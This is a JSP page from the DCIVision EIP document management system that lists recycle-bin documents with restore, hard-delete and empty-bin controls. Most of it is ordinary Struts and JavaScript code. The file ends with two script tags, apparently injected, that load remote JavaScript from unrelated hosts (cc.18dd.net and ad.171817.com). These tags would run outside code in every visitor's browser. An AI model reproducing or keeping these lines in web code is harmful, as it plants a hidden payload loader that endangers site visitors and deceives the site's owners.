<%
/*
 * @(#)ListDmsPublicDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsPublicDocument.jsp

  This is a ListDmsPublicDocument page.  It shows the active documents' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/11/2003
    @version            $Revision: 1.24.2.22 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsPublicDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsPublicDocumentForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/

  String      LIST_NAME = "dmsRecycleBinList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.priority", "PRIORITY"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_size", "ITEM_SIZE"},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.delete_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", GlobalConstant.NOT_AVAILABLE}

                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.description", "DESCRIPTION"},
                            {"dms.label.reference_no", "REFERENCE_NO"}
                          };

  int     COLUMN_OFFSET = 1;

  String sCurFunctionCode = listDmsPublicDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listDmsPublicDocumentForm.getCurFunctionCode();

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = listDmsPublicDocumentForm.getRootID();
  String parentID = listDmsPublicDocumentForm.getParentID();
  DocumentRetrievalManager docRetrievalManager = null;

  int numOfList = 0;
  String rootIDAry = request.getParameter("rootIDAry")==null? listDmsPublicDocumentForm.getRootIDAry():request.getParameter("rootIDAry");

  MtmDocumentRelationshipDAObject docRelatetionDAO = new MtmDocumentRelationshipDAObject(sessionContainer,conn);
  String pageFlag = "listDmsDocument";

%>
<script type="text/javascript" src="<%=request.getContextPath()%>/js/fat.js"></script>

<style type="text/css">
body { font-family : sans-serif; }

form {
    margin-bottom : 0;
}
</style>

<script type="text/javascript">
  function init(e) {
      Fat.fade_all();
  }
  dojo.addOnLoad(init);
</script>


<script language="javascript">
<!--

function hideRestoreWarningDialog(){
  frameDlg.hide();
}

function OpCustListRestore(frm){
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  var hasChecked = false;
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }
  var urlQueryString = "";
  var basicSelectedID = frm.basicSelectedID;
  if(basicSelectedID == null) return false;//joan.xiong add code for bug EIP-1045 by 2006/12/01
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
    }
  }
  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }
  var checkShortcutUrl="<%= request.getContextPath() %>/jsp/dms/GetDmsRestoreCheck.jsp?"+urlQueryString+"&operationStr=checkShortcut&date="+new Date();
  send_request(checkShortcutUrl);
  var restoreCheckIds = http_request.responseText;
  http_request = null;
  //var restoreCheckIds = "RETIDShasShortc";
  var restoreCheckURL = "<%=request.getContextPath()%>/jsp/dms/RestoreWarning.jsp?";
  if (restoreCheckIds.indexOf("RETIDS")!=-1) {
    var result = restoreCheckIds.substring(restoreCheckIds.indexOf("RETIDS")+6);
    if (result=="hasShortcut") {
      restoreCheckURL += "operationStr=checkShortcut";
      frameDlg.setUrl(restoreCheckURL);
      frameDlg.show();
      return false;
    } else {
      return OpCustListRestoreCheckOriginal(frm);
    }
  } else if (restoreCheckIds.indexOf("ERROR")!=-1) {
    alert("Error cause by:"+restoreCheckIds);
  } else {
    return false;
  }
}

var submitFlag = false;
var optStr = null;

function OpCustListRestoreCheckOriginal(frm){
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  var hasChecked = false;
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }
  var urlQueryString = "";
  var basicSelectedID = frm.basicSelectedID;
  if(basicSelectedID == null) return false;//joan.xiong add code for bug EIP-1045 by 2006/12/01
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
    }
  }
  var checkOriginalUrl="<%= request.getContextPath() %>/jsp/dms/GetDmsRestoreCheck.jsp?"+urlQueryString+"&operationStr=checkOriginal&date="+new Date();
  send_request(checkOriginalUrl);
  var restoreCheckIds = http_request.responseText;
  http_request = null;
  //var restoreCheckIds = "RETIDShasOrigin";
  var restoreCheckURL = "<%=request.getContextPath()%>/jsp/dms/RestoreWarning.jsp?";
  if (restoreCheckIds.indexOf("RETIDS")!=-1) {
    var result = restoreCheckIds.substring(restoreCheckIds.indexOf("RETIDS")+6);
    if (result=="hasOriginal") {
      restoreCheckURL += "operationStr=checkOriginal";
      frameDlg.setUrl(restoreCheckURL);
      frameDlg.show();
      return false;
    } else {
      submitFlag = true;
      optStr = 'N';
      return false
      //return OpCustListRestoreSubmit(frm,"N");
    }
    return false;
  } else if (restoreCheckIds.indexOf("ERROR")!=-1) {
    alert("Error cause by:"+restoreCheckIds);
  } else {
    return false;
  }
}

function changePara(para) {
  submitFlag = true;
  optStr = para;
}

function OpCustListRestoreSubmit(frm,operationStr){
  if (submitFlag) {
    if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
    }
    var hasChecked = false;

    for (var i = 0; i < frm.elements.length; i++) {
      if (frm.elements[i].name == "basicSelectedID") {
        if (frm.elements[i].checked) {
          hasChecked = true;
          break;
        }
      }
    }
    loadingTo(null, true); // show loading (lee 06/12/21 EIP-1248)
    frm.opMode.value = '<%=DmsOperationConstant.RESTORE_DOCUMENT%>';
    frm.navMode.value = "";
    frm.isRestoreAll.value=operationStr;
    frm.submit();
    return(false);
  }
  setTimeout("OpCustListRestoreSubmit(null,optStr)",1000);
}

OpCustListRestoreSubmit();

function OpCustListDelete(frm){

  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  var hasChecked = false;

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }

  if (!confirm("<bean:message key='common.message.confirm_delete_records'/>")) {
    return(false);
  }

  loadingTo(null, true); // show loading (lee 06/12/21 EIP-1248)

  frm.opMode.value = '<%=DmsOperationConstant.HARD_DELETE_DOCUMENT%>';
  frm.navMode.value = "";
  frm.submit();
  return(false);



}

function EmptyRecycleBin(){
  if(confirm("<bean:message key='common.message.confirm_empty_recyclebin'/>")){
    document.listDmsPublicDocumentForm.action = '<%=request.getContextPath()%>/dms/ListDmsRecycleBin.do';
    document.listDmsPublicDocumentForm.opMode.value = "EMPTY_RECYCLE_BIN";
    document.listDmsPublicDocumentForm.submit();
    return(false);
  }
}

-->
</script>
<%
try {
  docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
%>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsRecycleBin" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property="pageViewOption"/>
<input type="hidden" name="isRestoreAll" value="">


<html:hidden property="rootIDAry"/>
<html:hidden property="curFunctionCode"/>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
        <%if (!Utility.isEmpty(rootIDAry)){%>
          <layout:returnButton>
            ListDmsRoot.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
          </layout:returnButton>
        <%}%>
        <%
        /**
         *
         * Recycle Bin Button display logic:
         * If user access this page from "Administration > Recycle Bin"
         *   -- If user has "administration:empty" permission (DMS_ADMIN.T), system should enable "Delete" / "Empty Recycle Bin"
         *   -- If user has "administration:restore" permission (DMS_ADMIN.S), system should enable "Restore"
         * 
         * If user access this page from "ParaDOC > Recycle Bin"
         *   -- System should only show documents deleted by current login user
         *   -- If user has "recycle bin:empty" permission (DMS_RECYCLE_BIN.T), system should enable "Delete" / "Empty Recycle Bin"
         *   -- If user has "recycle bin:restore" permission  (DMS_RECYCLE_BIN.S), system should enable "Restore"
         *
         */
        %>
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="T" label="common.label.delete" onClick="return(OpCustListDelete(listDmsPublicDocumentForm))" functionCode="<%=sCurFunctionCode%>"/>
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="S" label="dms.label.restore" onClick="return(OpCustListRestore(listDmsPublicDocumentForm))" functionCode="<%=sCurFunctionCode%>"/>
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="T" label="common.label.empty_recycleBin" onClick="return(EmptyRecycleBin())" functionCode="<%=sCurFunctionCode%>"/>
        <%//if (request.getAttribute(LIST_NAME) == null || Utility.isEmpty((ArrayList)request.getAttribute(LIST_NAME))) {%>
        <!-- html:colheaderButton label="common.label.empty_recycleBin" disable="true"/ -->
        <%//} else {%>
        <!-- html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="T" label="common.label.empty_recycleBin" onClick="return(EmptyRecycleBin())" functionCode="<%=sCurFunctionCode%>"/ -->
        <%//}%>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsPublicDocumentForm, '${listDmsPublicDocumentForm.sortAttribute}', '${listDmsPublicDocumentForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsPublicDocumentForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsPublicDocumentForm" editColumn="false" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsPublicDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsPublicDocumentForm.getSortOrder()%>" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">

  <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>" onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
    <td align="center">
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
    </td>
    <td align="center"><%
      if (GlobalConstant.PRIORITY_HIGH.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>'/><%
      } else if (GlobalConstant.PRIORITY_MEDIUM.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>'/><%
      } else if (GlobalConstant.PRIORITY_LOW.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>'/><%
      }
    %>
    </td>
    <td nowrap width="300">
<dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='R'  pageFlag='<%=pageFlag%>' throughDocStatus = 'True' linkFlag ="false"/>
    </td>
    <td align="center" nowrap>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType()) || DmsDocument.COMPOUND_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType())) {
          int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
        } else {%>
          <%=GlobalConstant.EMPTY_FIELD%>
        <%}%>
    </td>
    <td align="left">
      <%=docRetrievalManager.getLocationPath(((DmsDocument) dmsDocument).getParentID())%>
    </td>

    <td class="bodyVerySmall"><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsDocument' property='updaterName'/></td>
  </tr>
  <%numOfList++;%>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsPublicDocumentForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

</html:form>
<!-- Form Section End -->

<%} catch(Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    try { docRetrievalManager.release(); } catch (Exception ignore) {} finally { docRetrievalManager = null; }
  }
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>